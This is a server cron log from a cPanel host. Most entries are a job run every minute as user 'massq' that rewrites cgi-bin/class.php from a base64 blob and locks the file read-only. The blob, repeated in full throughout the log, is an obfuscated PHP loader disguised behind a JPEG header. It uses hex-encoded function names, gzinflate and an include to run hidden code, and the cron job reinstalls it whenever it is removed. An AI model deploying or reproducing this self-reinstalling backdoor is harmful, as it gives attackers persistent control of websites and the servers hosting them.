Nov 14 04:35:01 server CROND[21587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 04:35:01 server CROND[21589]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:36:01 server CROND[22271]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:37:01 server CROND[22925]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:38:01 server CROND[23995]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:39:01 server CROND[24862]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 04:39:01 server CROND[24863]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:40:01 server CROND[25750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 04:40:01 server CROND[25749]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 04:40:01 server CROND[25754]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 04:40:01 server CROND[25755]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:41:01 server CROND[26672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:42:01 server CROND[27549]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:42:01 server CROND[27550]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 04:43:01 server CROND[28371]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:44:01 server CROND[29069]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:45:01 server CROND[30059]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:45:01 server CROND[30058]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 04:45:01 server CROND[30062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 04:46:01 server CROND[30961]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:47:01 server CROND[31992]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
